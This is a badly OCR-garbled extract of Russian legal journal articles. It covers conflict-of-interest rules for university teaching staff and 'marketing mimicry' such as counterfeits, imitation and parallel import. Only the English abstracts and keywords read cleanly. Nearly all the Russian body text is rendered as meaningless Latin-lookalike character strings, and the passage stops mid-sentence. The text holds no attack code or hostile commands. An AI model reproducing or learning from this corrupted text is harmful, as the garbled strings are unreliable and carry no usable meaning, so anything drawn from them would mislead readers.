coctraBisier 78% K 22%, 4TO SIBHO HENOCTATOYHO. [l MpHUBIEYEHWS YaCTHOrO KamuTalia
HEO0XOIMMO MPETOCTaBUTh KOMIIAHUSAM HAJIOTOBBIE JIBIOThI, CHU3UTh PUCKHU OTBETCTBEHHOCTH U
apyrue npedepeHIny pa3padoTuuKaM U HHBECTOPaM.

Muorue WT-craprambl, mpencTaBisIONIME CEKTOp Majloro OW3Heca, CTAaJKUBAIOTCS C
TPYAHOCTSAMH TpPH YYacTHM B KOHKypcax Ha (uHaHcupoBaHue. sl NpeomosneHus 3Toro
MPETATCTBUS MIPEIaraeTcs OpPraHu30BaTh LIEHTP KOHCYJIBTAMOHHON MOJIEPKKH, KOTOPBIN
MIOMOKET UM pa30o0paThCsl B CIOXKHBIX IMPOLEIypax MOJy4YeHHs] TPAaHTOB M MHBECTUIMHA. DTO
obecrieunT Oojiee paBHBIC YCJIOBHSA JAJISl y4acTHsi B KOHKYpPCAaX M Pa3BUTHSI MEPCHEKTUBHBIX
IIPOEKTOB.
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AHHOTAINA
B crarbe aHanu3upyercss MpaBOBOE  pEryIUpOBaHHE KOH(DIMKTa HHTEPECOB
MEIarornIecKuX paOOTHHUKOB BBICIINX y4eOHBIX 3aBefieHWd B Poccuu. ABTOpPBI KPUTHYECKH
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OLICHWBAIOT CYIICCTBYIOIIYIO IPAaBOBYIO 0a3y, yKa3biBasi Ha HECOOTBETCTBHS W TPOOETHI B
3aKOHO/ATENILCTBE, MPHUBOASIINE K HEOJHO3HAYHOMY TOJKOBAHUIO U TMPHUMEHEHHIO HOPM.
Ocoboe BHUMAaHWE YAGISETCS HECOTJIACOBAaHHOCTH MEXAY AaHTHKOPPYIIMOHHBIM U
00pa30BaTeIbHBIM 3aKOHOJIATEILCTBOM, a TaKKe MpoOJieMe HEpaBeHCTBA MpaB MpenojaBaTesnen
B 3aBUCHMOCTH OT BEJOMCTBEHHOH TNPHHAIJICKHOCTH By3a. B 3aKIFOUCHWM TIpeiiaratoTcst
KOHKPETHBIE PEKOMEHJAIMK IO COBEPIICHCTBOBAHUIO 3aKOHOAATEIILCTBA, HAMpPABICHHBIE Ha
YTOYHEHHUE OIPENeCHUs KOH(JIMKTa HMHTEPECOB, YCTaHOBJICHHE U epeHIIMPOBAHHOTO
MOJX0/Ia K PA3IMYHBIM aCMEKTaM MEIarorHYecKoi JESTebHOCTH M CO3/IaHue Ooliee YeTKHX
MEXaHW3MOB TIPEIOTBPAIICHHS W YPETYJIMPOBAHUS TIOMOOHBIX CHUTyalluid B  BBICIIEM
00pazoBaHUH.

KiroueBble cjioBa: 00pa3oBaTeNIbHBIC OpraHU3aIMK BBICIIETO0 00pa30BaHUs, KOHPIUKT
WHTEPECOB IMEAarormdeckoro pabOTHUKA, OOS3aHHOCTH, 3alpEThl, OTPAHUYCHUS, KOPPYIIIIHS,
MPOTUBOACHUCTBUE KOPPYIIIINH.

Abstract

The article analyzes the legal regulation of the conflict of interests of teaching staff of
higher educational institutions in Russia. The authors critically assess the existing legal
framework, pointing out inconsistencies and gaps in legislation that lead to ambiguous
interpretation and application of norms. Particular attention is paid to the inconsistency between
anti-corruption and educational legislation, as well as the problem of inequality of teachers'
rights depending on the departmental affiliation of the university. In conclusion, specific
recommendations are proposed for improving legislation aimed at clarifying the definition of
conflicts of interest, establishing a differentiated approach to various aspects of teaching
activities and creating clearer mechanisms for preventing and resolving such situations in higher
education.

Keywords: educational organizations of higher education, conflict of interests of a
teacher, duties, prohibitions, restrictions.

Koppynius octaercst cepbe3Heliineid mpobiemoit coBpemeHHOW Poccun, ocobeHHO
OCTpO OHa TMposBIsieTcss B cdepe BbICHIEr0 00pa3oBaHUs. IJTO MPEACTABISIET Yrpo3y
HallMOHAJIbHOM 06€30MacHOCTH, MOCKOJIBKY €KETOHO BY3bl BBITYCKAIOT THICSYM CIIEIIHAINCTOB,
9bsi KBTH(UKAIMSA MOXKET OBITh CYIIECTBEHHO HMCKa)X€Ha KOPPYIIIMOHHBIMH TPAaKTHKAMH.
Bbopr0a ¢ 3TuM siBleHHEM TpeOyeT He TOJNIBKO HaKa3aHUs BUHOBHBIX, HO U MPOQHIAKTHYECKUX
Mep, HaIlPaBJIEHHBIX HA YCTPaHEHUE MPUYUH U YCJIOBUH, MOPOXKAAIOUINX KOppymnuuoo. B aTom
KOHTEKCTE, MEXaHM3M MPEAYNPEeKACHUsT U  ypPeryIupoBaHUS KOH(QUIMKTAa HMHTEPECOB
pUOOpeTaeT MEPBOCTENIEHHOE 3HAYEHHWE KaK OCHOBHOW HMHCTPYMEHT MpPO(UIAKTUKU
KOPPYILMOHHBIX PUCKOB.

CornacHo crathe 10 ®DepepanbHOoro 3akoHa «O TPOTHUBOJACHCTBHHM KOPPYILIAN,
KOH()JIMKT MHTEPECOB — 3TO CUTYaIMsl, KOT1a JINUHAs 3aMHTEPECOBAHHOCTD JIMIA, 3aHUMAIOILIETO
JOJKHOCTB, 00S3BIBAIOIIYIO €T0 MPENOTBpAlllaTh U ypPEeryaupoBaTh TaKHUE KOH(IIUKTHI, BIHUSET
WIM MOJKET TOBJIUATh Ha OOBEKTUBHOE HCIIOJHEHUE UM CIIyeOHBIX 00si3aHHOCTeH . BaskHO
OTMETHUTb OIPAHUYEHHBIH KPYT JINL, HA KOTOPBIX BO3JIOKEHA 00A3aHHOCTD 110 MPEJOTBPAILECHHUIO
U YperyJaupoBaHHIO KOH(JIMKTa MHTEpecoB. PacimmpeHue 3Toro Kpyra BO3MOXHO TOJBKO Ha
(dbenepanbHOM YpPOBHE.

Takum 06pa3om, cucTeMa BBICIIETO 00pa30BaHMs, KaK KIFOUEBOM CEIMEHT MOATOTOBKU
KaJpoB JUIl TOCYJAapCTBEHHOIO amnapara M SKOHOMUKH, HAaXOAUTCA IOJ OCOOBIM PHCKOM
KOppyIIHOHHOro Bo3zeicTBus. [lostomy 3¢dpdexTrBHOE MPOTUBOAEHCTBUE KOPPYIIMU B ATOM
chepe TpeOyeT KOMIUIEKCHOIO IOAXOAA, BKIIOYAIOLIETO KaK KapaTesbHbIE MEpbl, TaKk M
IIPEBEHTUBHBIE JEWUCTBUSI, B YACTHOCTH, AKTUBHOE MCIIOJIb30BAHUE MHCTUTYTA YPEryJIUPOBAHUS
KOH(MKTa MHTEepecoB. HeoOXoaMMOCTh 4ETKOro IMpaBOBOrO OIpPEAETEHHsS OOs3aHHOCTEN U
OTBETCTBEHHOCTH B cpepe Mpe0TBPAILICHUS KOH(IMKTAa HHTEPECOB U OTPaHIUUCHUE ITOTO KpyTa
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JUI] Ha 3aKOHOJATEIBHOM YPOBHE, SBIISICTCS KJIFOYEBBIM AaCHEKTOM IPOTUBOACUCTBUS
KOPPYIILMH B BBICIIIEM 00pa30BaHUU.

W3navyanbHo pa3paboTaHHbIA Ui cepbl TOCCITYKObI, HHCTUTYT MPEAOTBPAIICHHUS H
paspelieHusi KOH(IIMKTa MHTEPECOB IOCTENEHHO paclpoCTpaHseTcs U Ha Jpyrue o0JacTy,
BKIItOUasi oOpasoBarenbHble opraHm3anuu. DenepanpHbii 3akoH «0O0 o00pa3oBaHWMU B
Poccuiickoit ~ Denepaun»  YCTaHABIMBAET OCOOEHHOCTH PETYIMPOBaHUS  KOH(IMKTOB
MHTEPECOB IS BCEX YpPOBHEN 00pa3oBaHUs.

B uactHocTH, cTaThs 2 (MyHKT 33) JAaHHOTO 3aKOHA OMpEeNseT KOH(QIMKT WHTEPECOB
MeIarorn4eckoro paboTHUKA KaK CUTYallMI0, B KOTOPOW JIMYHAsI 3aMHTEPECOBAHHOCTD Te1arora
B MaTepUaIbHON BBITOJIE WM MHBIX MPEUMYLIECTBAX MOXKET IOBJIMATH HA BBIIOJHEHUE UM
poQecCHOHANBHBIX 0053aHHOCTEH W3-32 MPOTUBOPEUMS MEXIY JHWYHBIMM HMHTEpEcaMu U
MHTEpecaMu 00yUaroIIMXCsl U UX POAUTENEH.

[locranosnenue I[IpaBurensctBa PO oT 8 aBrycta 2013 roga Ne 678 pacumpser 3Tot
KPYT, OTHOCSI K TMEarorHyeckuM paOOTHHKAM BBICHIMX y4eOHBIX 3aBeACHHUH (Tpodeccopcko-
MIPETNoaBaTeIbCKUN COCTaB) MIMPOKUN CHEKTP MOJLKHOCTEH, BKIIIOYAsl aCCHCTEHTOB, JEKAHOB,
JTMPEKTOPOB MHCTUTYTOB, JIOLEHTOB, 3aBelylOIInX Kadeapamu, npodeccopos, npernoaBarenei
U crapmux npenojaBareneil. Takum o00pa3oM, MEXaHU3M YperyaupoBaHHs KOH(QIIMKTOB
MHTEPECOB BBIXOJUT 3a PAMKHU HCKIIIOYUTEIBHO TOCYJApCTBEHHBIX CTPYKTYp U TpU3BaH
obecrieurBaTh 3TUYHYIO U OECIIPUCTPACTHYIO AEATEIbHOCTh B 00pa30BaTeIbHOM chepe Ha Bcex
€€ YPOBHAX. OTO TOAYEPKUBACT aKTyaJbHOCTh ITAaHHOW MPOOJIEMbI M HEOOXOAMMOCTH €€
MPaBOBOIO PETyIMPOBAHUS B KOHTEKCTE COBPEMEHHBIX 00pPa30BaTeIbHBIX OTHOILCHUH.

Bepxosubiit Cyn P® B coem pemenunu ot 11.05.2018 Ne BKAIIM18-13 mnpuznan
3aKOHHBIM PacCIpOCTpaHEHUE OOS3aHHOCTH MO JEKIapUPOBAHUIO JIOXOAOB Ha MpogeccopcKo-
npernojaBaTenbckuii  coctaB  By30oB. Cyn  000OCHOBaJd 3TO  3allpeTOM, YCTaHOBIIEHHBIM
oOpa3oBaTeNbHBIM  3aKOHOJATENICTBOM, HAa  OKa3aHME  IPEnojaBaTelsIMU  IUIATHBIX
00pazoBaTeNbHbIX YCIYT CBOUM CTYIEHTaM, €CJIU 3TO CO3JaeT KOH(IUKT UHTEPECOB.

Opnnako, nanHoe pemeHre BepxoBHoro CyJia HE yUUTBIBAET Psifi BAXKHBIX HOPMATHUBHBIX
akToB, B ToM uncie Yka3 IIpesunmenta PO ot 18 mas 2009 r. Ne 557 o nexmapupoBaHHH
J0X0/10B rocciyxamumy, Yka3 Ilpesunenta PO or 2 ampens 2013 r. Ne 309 o mepax mo
npoTuBoseicTBUI0 Koppynimu, denepanbhpiii 3akoH oT 25 nexadps 2008 r. Ne 273-03 «O
IIPOTUBOAEUCTBUN KOppynuum», crateto 349.2 TpynoBoro koxekca P® u IlocranoBnenue
[TpaBurensctBa PD o1 5 nronst 2013 r. Ne 568 0 pacnpocTpaHEHHH OTPAHUYEHUI Ha OTACIIbHbBIE
kareropuu rpaxaad. Ccbutasich Ha TyHKT 33 crathu 2 depepanbHoro 3akona «O6 00pazoBaHUU
B Poccwmiickoit Denepanuny, Cya, M0 MHCHHIO psijia FOPUCTOB, HEOOOCHOBAHHO pacIIMpHiI chepy
JEeUCTBUST KOH(IMKTa MHTEPECOB JISI IMEJArOrHUecKUX PaOOTHUKOB BBICIIErO OOpa30BaHMUSL.
Takum oOpa3zom, pelieHHe Cyda, XOTS U IMOATBEPKIAET HEOOXOIUMOCTh MPOTUBOIACHCTBUS
KOppYIIMHA B 00pa30BaHMH, BBI3BIBAET BOMPOCH B YACTH MPABOBOW OOOCHOBAHHOCTH CBOETO
MOJX0/la, HE YYWUThIBas CYIIECTBYIOIIME HOPMATUBHBIE AaKThl, pErylupyioume chepy
JIEKJIAPUPOBAHUS JI0XO/I0B U KOH(IIMKTa HHTEPECOB.

HenpaBomepHo, Ha Hall B3IV, CTPEMIICHHE HEKOTOPBIX FOCYAAPCTBEHHBIX CTPYKTYP
MPOBOJUTH TMApaJUICd MEXAYy KOH(PIUKTOM HMHTEPECOB IMpPENoAaBaTels By3a U KOH(IMKTOM
MHTEPECOB JOJKHOCTHBIX JIML, 3aHMMAIOLIMX MO3UIMU C BBICOKUM KOPPYHLMOHHBIM PHUCKOM.
Ilepeuenp Takux AOIKHOCTEH, onpenenéHHbll B pa3aene 3 Ykasza Ilpesunenta PO Ne 557 or
18.05.2009, BxmrodaeT B ceOs MOJDKHOCTH, CBSI3aHHBIC C YIPABICHYCCKUMH (DYHKITUSIMHU,
MPEIOCTaBICHUEM TOCYCITYT, KOHTPOJIEM, PacHpe/ieieHHeM OIOKETHBIX CPEACTB, YIIPABICHUEM
TOCUMYILIECTBOM, TOCYJAapCTBEHHBIMH 3aKylKaMH W BbIIAue€il pa3pelleHud, a Takke
yIpaBJIEHUEM MaTepHaIbHbBIMU PECYypCaMU.

[Ipodeccopcko-penogaBaTenbCKUil COCTaB BY30B U JIMIA, 3aHUMAIOUIME JOJHKHOCTU
denepanbHON TPakTaHCKOH, BOCHHOW M TOCYIAPCTBECHHON CITY>KOBI, OTJIMYAIOTCS IO CBOUM
(GYHKUIUSAM U, COOTBETCTBEHHO, MO0 YPOBHIO KOPPYMIIMOHHBIX PUCKOB. [lo3TOMY cpaBHHBATH UX
00513aHHOCTH 10 IPEIOCTABJICHUIO CBEJIEHUM 0 J0X0oAax HekoppekTHO. Ctatbs 349.2 TpynoBoro
kKogekca P® yka3piBaeT Ha pacHpOCTPaHEHUWE AHTUKOPPYMNIMOHHBIX HOPM Ha COTPYIHUKOB
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opranuzanuii, co3nanubix P® Ha ocHOBaHMU (eiepabHBIX 3aKOHOB U BBIOJHSIOIINX 33Jaud
¢benepapHBIX OpraHoB BiacTu. Ilopsgok M cioydyan NPUMEHEHHsS 3TUX HOPM OIpeessieT
[IpaButensctBo P®. Takum o00pa3oM, MexaHMYECKOe TIepeHeceHHe TpeOOBaHHM O
JEKJIAPUPOBAaHUU JJOXOAOB, YCTAHOBJIEHHBIX JUIS JIMILI, 3aMEIAIONIUX JTOKHOCTH C BBICOKMM
KOPPYIIMOHHBIM PUCKOM, Ha MPETo/1aBaTeNIbCKUI COCTaB BY30B, MPEACTABISETCS IOPUIUUECKI
HEOOOCHOBAHHBIM.

CornacHo myHkty 7.1 crarem 81 Tpymooro komekca P®, mokazaHHBI KOH(IUKT
MHTEPECOB MOJKET TIOBJICYb 32 COOOM MpPUMEHEHHE MEp OTBETCTBEHHOCTH K IMPENoaaBaTessIM
BY30B, BIUIOTb [0 pAacTOPKEHUS TPYJOBOTO JIOTOBOpa IO HHUIMATHBE paboTomaTers.
OcHoBaHMEM JJIsi TaKOTO PEIICHHS CTaHET HEHCIIOJIHEHHE PAOOTHUKOM OOS3aHHOCTH IIO
MIPEOTBPAIICHUIO WIH YPETYIUPOBAHUIO KOH(PINKTa HHTEPECOB, €CIIM 3TO MOA0PBAIO0 JOBEpHE
paboronaTens.

PaccmorpuMm moHsTHE "NMHMYHAS 3aWHTEPECOBAHHOCTH'" TEAAroruveckoro pabOTHHKA.
Ilon Heli mMOHMMAETCs CTPEMJIEHUE IOJIyYUTh HE3aKOHHBIE JOXOABI (IEHBI'M, HMYIIECTBO,
ycIyru) Juist ce0si WM TPeThUX JIMIL B miporiecce padoTel. OHAKO, MpaBOBasi TEOPUS pa3iuyaeT
KOPBICTHYIO (MaTepUallbHyl0 BBITOJly) M JIMYHYIO 3aMHTEPECOBAHHOCTh (HEMaTepualibHbIE
BBITOJIbI, TaKW€ Kak T[OJY4YCHUE TOAJIEPKKH, KaphepHBI pOCT, >KEJNaHHE CKPBITh
HEKOMIIETEHTHOCTD U T.1.).

3aKOHOJIATEIbHOE  OMNpENEJeHUE '"MUYHOW  3aMHTEPECOBAHHOCTU' B  KOHTEKCTE
KOH()JIMKTa MHTEPECOB IMPENOAaBaTeNs HE OXBAaTHIBAECT BCE BOSMOXKHBIE CUTYAIlMH, BEAYIIHE K
HETaTHBHBIM TOCJIE/ICTBUAM HEMATEPUAIBHOTO XapakTepa, MPUYMHSIOUMM Bpel OOIIEeCTBY U
rocynapcTBy. [IOMBITKM OTOXIECTBIATh KOH(IMKT MHTEPECOB TMpernojaBaTesss M KOH(IMKT
WMHTEPECOB JOKHOCTHOTO JIUIA, Ybsl JIESTETHHOCTh COMPSYKEHA C BHICOKUM KOPPYMIIMOHHBIM
PHUCKOM, SBJISIFOTCS HENPABOMEPHBIMU. DTH KaTErOpHH CYLECTBEHHO Pa3IMyaroTCs M0 CBOEH
MpUpoie ¥ TOCHEACTBUSAM, TpeOys nuddepeHIMPOBaHHOIO TMOAX0Aa K IMPaBOBOMY
PEryIMpOBAHUIO.

B pemwenun BepxoBHoro Cyma P® aprymeHT 00 OTCYTCTBUM JIOJKHOCTEH
npo(eccopCKO-TIPEeTIoIaBaTeIbCKOr0  COCTaBa BY30B B QHAJIOTHYHBIX CIIMCKaX JIPYTUX
(benepanbHBIX OPraHOB MCIIONHUTEIBHOM BIACTH, a TAK)Ke O HAPYIICHUH MPHUHIIUIA PABEHCTBA
npaB rpaxzat (ct. 19 Koncturyuuu P®), 6611 npournopuposas. Cienyer Takke MOA4epKHYTh
pa3nuure B OTBETCTBEHHOCTH 32 HEYpPEryJIHpOBaHHE KOH(JIMKTAa MHTEPECOB, YCTAaHOBJIECHHOM
AQHTUKOPPYMNIIMOHHBIM U 00pa30BaTEIbHBIM 3aKOHO/IaTEILCTBOM.

XoTsl mpenojaBaTeNbCKas AEATebHOCTh HEOTHENMMa OT OpraHu3alMu y4eOHOTro
mpoliecca, KOHTPOJI 3a CTYIEHTaMH U OLIGHKH MX YCII€Ba€MOCTH, MOAXOJ K OIPENEICHUI0
3JIEMEHTOB KOH(IIMKTA HHTEPECOB IS MperoiaBaTesiel, OCHOBaHHbIM Ha BEIOMCTBEHHBIX aKTax
U JIOKaJIbHBIX HOPMATUBHBIX JIOKyMEHTaX OOpa30BaTelbHbIX OpraHW3alMi, IPEICTaBISIETCS
HEKOPPEKTHBIM. DJTO MOPOXIAeT HEPABEHCTBO B CTATyCe MEAArOrMueckux pabOTHUKOB B
3aBUCHUMOCTH OT BEJIOMCTBEHHOW MPHUHAAJICKHOCTH By3a. Takas mpakTuUKa CO31aET MpPaBOBYIO
HeonpeaenEéHHOCTh U TpeOyeT 6osiee YETKOro M yHU(PUIIMPOBAHHOTO 1MOIX0/1a Ha (eaepaabHOM
YPOBHE, MCKIIIOYAIOIEr0 TMPOW3BOJI M  OOECIEUMBAIOUIETO paBHbIE IpaBa Uil BCeX
npernojaBarteneii, He3aBUCUMO OT MeCTa paboThI.

B 3axmoueHue, A1 COBEpIICHCTBOBAHMS AaHTUKOPPYIIIMOHHOTO 3aKOHOJATENIbCTBA B
chepe BbIcIero 00pa3oBaHMs NPEAJIATAIOTCS  CIEAYIONIMEe HM3MEHEHUS.  YUUTHIBas
JIBOMCTBEHHYIO MIPUPOAY HEarOruuecKoi JesiTeIbHOCTH — 00pa30BaTeIbHYI0 U KOHTPOJIbHYIO —
HeoOXxomuMo U GEPEHITMPOBAHHO OMPEACATh KOH(PIUKT WHTEPECOB I KAXKIOW M3 ITHX
G YHKITHIA.

Heobxomumo mepecMoTpeTh ompefeneHne "KOH(DINKTa MHTEPECOB IMEAarormyecKoro
paborauka", 3aduxcupoBanHoe B 1. 33 cr. 2 denepanpHoro 3akona "OO oOpazoBaHMH B
Poccuiickoit ®enepanuu". Ilpemnaraercs NpuHATH OINpeneieHHe, aHAIOrMYHoe crathe 10
®enepanbHoro 3akoHa Ne 273-®3 "O npoTUBOAECHCTBUU KOPPYMILMU'": CUTYyalUs, TP KOTOPOH
JIMYHAs 3aMHTEPECOBAHHOCTD Iefarora (IpsMasi UM KOCBEHHAs!) BIMSAET WIM MOXET HOBJIMATH
Ha OOBEKTHBHOE WCIOJHEHHE UM mHpodeccuoHambHbIX o0b0sa3aHHOcTel. CylecTByroliee
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3aKOHO/ATENIbCTBO HE COJCPKHUT YETKUX MPEANUCAHUM JUIsl TMEeJaroroB O HEAOMYIIEHUH U
O6H33TCHLHOM COO6I.I.[€HI/II/I O BO3HHMKHOBCHHU KOH(I).HI/IKTOB HHTCPCCOB, B OTJIUYUC OT
3aKOHO/ATENILCTBA O TOCCITYKOe.

AHTHKOPPYIIIMOHHBIE CTAHAAPTHl B 00pa30BaHUU HAXOJSATCS HA CTAJAUU CTAHOBIICHUS,
MO0TOMY MEXAaHM3M YpPEryJIHpOBaHHUsS KOH(DIMKTOB HHTEPECOB HYXKAAETCsl B JOpalbOTKe.
JIByCMBICIIEHHOE TOJIKOBaHHE KOH(IMKTOB MHTEPECOB MOXKET HapyllaTh IpaBa CTYIECHTOB U
npenojasareneii. B cBs3u ¢ 3TUM, mOpeajiaraercs pacnpoCTpaHUTh Ha MPenojaaBaTesiei
TrOCyAapCTBCHHBIX, PECTUOHAJIbHBIX U MYHUITUIIAJIbHBIX BY30B Tpe6OBaHI/I$I AHTUKOPPYIIIUOHHOT'O
3aKOHOJATENIbCTBA B YaCTH YpPEryJIUpOBaHHS KOH(IMKTOB HWHTEPECOB, YUWTHIBAs, 4YTO
pacuperne Kpyra Juil, 00s3aHHOCTh KOTOPBIX MPEAOTBpAIIaTh TaKue KOH(PIUKTHL, BO3ZMOXKHO
UCKIJIIOYUTEIBHO Ha (pe/IepallbHOM YPOBHE.

*k*k
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Ha rpanu 3aKOHHOCTH: KMAPKeTHHI0Basi MUMHUKPHSI»
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AHHOTAIUSA

B nmaHHO cTaThe pacCcMATpPHBAIOTCS  BOMPOCHL, CBsI3aHHBIE C  (DEHOMEHOM
«MApPKETUHIOBOM MUMHMKpHUW». Llenbpl0 HaydHON CTaThU SIBJISIETCS aHAIU3 MPABOBOM MPUPOJIBI
«MAPKETUHIOBOM MHMHKPUM», €€ BHIOB, a TaKKe MEXAaHU3MOB JeWcTBHA. B xoxe
WCCJIEIOBaHNsA, Ha KOHKPETHBIX MpUMEpax BBIIBICHO, KaK KOMIAHMU MOTYT HCIOJIb30BaTh
CTpPATerui0 «MUMHUKPHUW» JJIsi 00X0Ja CaHKIMNA, HE Hapyllas 3aKOHOB U COXPAHSsS ITUYECKUE
CTaHJIAPTHI B OM3HECE.

KitoueBble ci10Ba: MapKeTHHIOBasi MUMUKPHS, TIOJJIETKA, UMUTAIMSI, KIOHUPOBAaHUE,
WHTEJUICKTyalbHass COOCTBEHHOCTh, CaHKIIMM, TOBapHbIE 3HAKW, aBTOPCKHE TIPaBa,
HeJI0OpOCOBECTHAS KOHKYPEHIIHS.

Abstract

This article discusses issues related to the phenomenon of "marketing mimicry". The
purpose of the scientific article is to analyze the legal nature of "marketing mimicry", its types, as
well as the mechanisms of action. In the course of the study, specific examples revealed how
companies can use a "mimicry" strategy to circumvent sanctions without violating laws and
maintaining ethical standards in business.

Keywords: marketing mimicry, forgery, imitation, cloning, intellectual property,
sanctions, trademarks, copyrights, unfair competition.
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B nmepuon  NOCTOSHHBIX BBI30BOB, CBSI3aHHBIX C IJI0OanM3alyell, MOJUTUYECKUMU
(daxropamMy M PazBUTHEM TEXHOJOTHI KOMIIAHUU BBIHY)KICHBI TIOCTOSHHO aJalTUPOBATBHCS K
CIIO)KHBIM yCJIOBUSIM BeieHus OusHeca. OIHMUM M3 CHOCOOOB SBJSIETCS «MHMHUKPHSI».
MUMUKpUST — 3TO TOHATHE OMOJIOTMM, KOTAA OAWH XUBOW OPraHu3M MOJPaKaeT JAPYroMy.
OpnHako, Kak TaKOBOTIO MOHATHS «MUMHUKpHUs» B 3akoHax Poccuiickoit denepanuu HET, HO
KOHKYPEHTBl 4acTO CTpeMSTCS HOApa)XaTb TOBapaM KOHKYPEHTOB, IpECIEAYIOIIUE
cOOCTBEHHbIE KOpBICTHbIE Iequ. OCHOBHBIM OOPLIOM C TaKMMHU MOJPAXATEISIMH, SBISIETCS
denepanbHasi aHTUMOHOIIONbHAS CITyXk0a, OHA e SBIAETCS MHCTHUTYTOM HEI00pOCOBECTHON
KOHKYPEHLIMY.

MapkeTrHroBasi MUMHMKPHS TIPEJCTABISIET COOOM CTpaTeruio, Mpu KOTOPOH KOMITAHUH
MOJPaKalOT YCHEUIHBIM JJIEMEHTaM OpEeHI0B-KOHKYPEHTOB Ui TPHUBJICYEHUs BHUMAHUS
notpeOuTeneil. Jta MpakTUKa MOXKET BKIIOYATh B CE€0sl UMHTAIMIO JIOTOTHIIOB, YIMAKOBKH, a
TaK)Ke PEKJIIAMHBIX COOOICHHIA, YTO CTUPAET TPAHUIIBI MEXIYy OPUTHHAJIOM U TOJICIKON. B
YCJIOBUSIX PACTyIIEl KOHKYPEHLIMU M HACBIIIEHHOCTH PbIHKA TaKUE IOJXOJbl CTAHOBSTCS BCE
Oosee pacripoCTpaHEHHBIMH, HO TaKKe BBI3BIBAIOT MTPABOBBIE I ITUYECKHE BOIIPOCHI.

C 0HOM CTOPOHBI, MUMHUKPHSI MOXKET COJIEHCTBOBATh OBICTPOMY IMOJTYUYEHHIO PUOBLIN
JUIsL KOMIIAHUM, UCTIONB3YIOIKX JaHHbIE MeToAbl. OJIHAKO C JPYroil CTOPOHBI, OHA IMOAHUMAET
BOIIPOCHI O JTOOPOCOBECTHOCTH BeleHMs OM3HECa, HAPYIICHWH aBTOPCKUX MpPaB U CO3MAHMS
MyTaHMIIBI cpeid moTpeduteneil. BaxkHO OTMETHTD, UTO 3aKOHBI O 3aIUTEe MHTEIUIEKTyaIbHON
COOCTBEHHOCTH M 3aKOHOJATENILCTBA O HEYECTHOW KOHKYPEHIIMHM MOTYT TOIBEPraTh TaKHe
MPAKTUKM COMHEHMIO. B pe3ynbraTe, MapKeTHMHrOoBass MHMUKPHUS HAXOJIWTCS HAa TpaHU
3aKOHHOCTH, YTO TpeOyeT TIIATeNbHOTO aHalk3a W Pa3padOTKH YEeTKUX HOPM JUIs
MIPEOTBPAIICHUS 3I0YTIOTPEOICHHIA.

Cy1ecTByeT HECKOIBKO pa3HOBUIHOCTEW MUMUKPHH:

1. IMonnenka;

2.  Hwmwuranus;

3. Knouuposanue;
4. OxwuBnEHUE.

[lonnenka — 3TO HENPUKPBITOE 3aWMCTBOBAHME YYXOIO CO3/IaHUs, KOTOpOE
COIIPOBOYK/IAETCS HApYIIEHHEM AaBTOPCKUX M CMEXKHBIX IIPaB IEPBUYHBIX pa3pabOTUHKOB.
[lonnenkol Takxke Ha3bIBACTCA KOMHUS WM KE PEIUIMKa OPUTMHAIBHOM BEUIM C JIOTOTHIIOM.
Pennmka oTiimyaeTcst OT OpUruHaia TeM, 9TO €€ M3TOTOBMII HE BIIaJIeNer] OpeH/a.

IOpuandecku, permka cuuraetcss KoHTpadaxkroM (cratbs 1515 ['pasknanckoro kopekca
Poccuiickoit denepanyu), 4TO HCKIIOYAET 3aKOHHOCTh pealIM3alliil TaKOW MPOAYKIHH.
ToBapHbIif 3HaK WK ke OpeHa — 3TO CMOco0 MHAMBUAYAIH3aLUK ToBapa. IIpaBoobnanatens —
€/IMHCTBEHHBI 3aKOHHBIN BBIFOJONpPUOOpETaTENb, TaK KaK 3TO CYOBEKT MPaBOOTHOLIECHUH,
CO3/IaBUIMH M 3aIlyCTUBILHUI TOBap, 3aperHCTPUPOBAB 3a COOOH 3TO MCKIIOYMTENILHOE IIPaBO.
[IpaBoobnanaTens 3apabaThiBa€T Ha CBOMX TOBapax C (UPMEHHbIMU JIOTOTHIIAMH, a BCE
OCTaJbHBIE O053aHbI JIeNaTh 3TO, COCTABUB JOTOBOP KOMMEPUYECKOH KOHIIECCHMM WM XK€ TI0
JIMLIEH3MOHHOMY JIOTOBOPY, 3aKIIOUEHHOMY C [IPaBO00JIaaTeNIeM.

[lapannenpHplii UMNopt, paspewmi€HHblid B 2022 roay, NMO3BOJIMI BBO3UTH TOBaphl B
Poccuiickyro @eneparmro 6e3 pazpenieHus nmpaBoodnanatesis. ToBap BBO3ST HE U3 TOCYIapCTBa,
I7Ie OH NpOW3BEeNEH, a W3 JPYroi CTpaHbl B 00X01 O(MUIMAIBHOTO KaHajla JUTPUOBIOLUH.
Opnako, TapayIeNIBHBII ~ WMIIOPT  HE  JIeTaM3yeT  KOHTpadakT.  MUHHUCTEPCTBO
IIPOMBIIIJIEHHOCTH M TOproeiu Poccuiickoit @enepanmu nzgano npukas Ne 2701 ot 21 urons
2023 rToma, B KOTOPOM 3aKpeIUIEH TIepeYeHb pPa3peHIEHHBIX TOBAPOB M OPEHIOB IS
[apajyIeIbHOr0 UMIIOPTA.

NmuTanys — 3T0 MOJApakaHUE TOBAPY KOHKYPEHTA C LEJIBIO CO3/IaHUs Y IOKyINaTeneu
BIICUATJICHUS O NPUHAUICKHOCTH TAaKHUX TOBApOB JIMHEHKE MMUTHPYEMBIX TOBapoB. JlaHHOE
nonsatue 3akperieHo B muckMe @AC Poccun ot 24.12.2015 Ne TA/74666/15 «O npuMeHeHUN
«4ETBEPTOr0 AHTHMOHONOJIBHOIO MakeTa». KpoMe MMuTauum B NMUCbME JAHO ONpEAEICHUE
MOHATHIO «KOITMPOBAHUE, TAK, KOMUPOBAHUE — 3TO BOCIIPOU3BEACHNE BHEITHETO BUAA U3IEIIUS
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JPYTOro XO3sSHUCTBYIOIIETO CYObEKTa U BBEJIEHUE €T0 B TpakIaHCKUi 000poT. B wactu 2 crathu
146 ®enepanpHoro 3akoHa ot 05.10.2015 roma Ne 275-@3 3akperuieHbl JIEMEHTHI, KOTOPbIE
MOT'YT MO/IBEpraThcs UMHUTAIMK. K 3THM 351eMeHTaM OTHOCSTCS:

1. BueniHuit BUI TOBapa, BBOJUMOIO B TPaXKTAHCKUI 000POT XO3SIHCTBYIOIIIM
CYOBEKTOM-KOHKYPEHTOM;
YnakoBka ToBapa;
OTUKETKH;
Haumenoanusi;
IIBeToBas ramMmma;
OuUpPMEHHBIN CTUIb B LIETIOM;
Wuple »nmeMeHThl WHAMBUAYAIM3UPYIOMIMX XO3SIMCTBYIOIIETO CyOBEKTa-
KOHKYPEHTa U €ro TOBap.

[lpu sTOoM perynsaTop oOpaTws BHHUMAaHHE HA TO, YTO HEMPABOMEPHBIM HE MOXKET
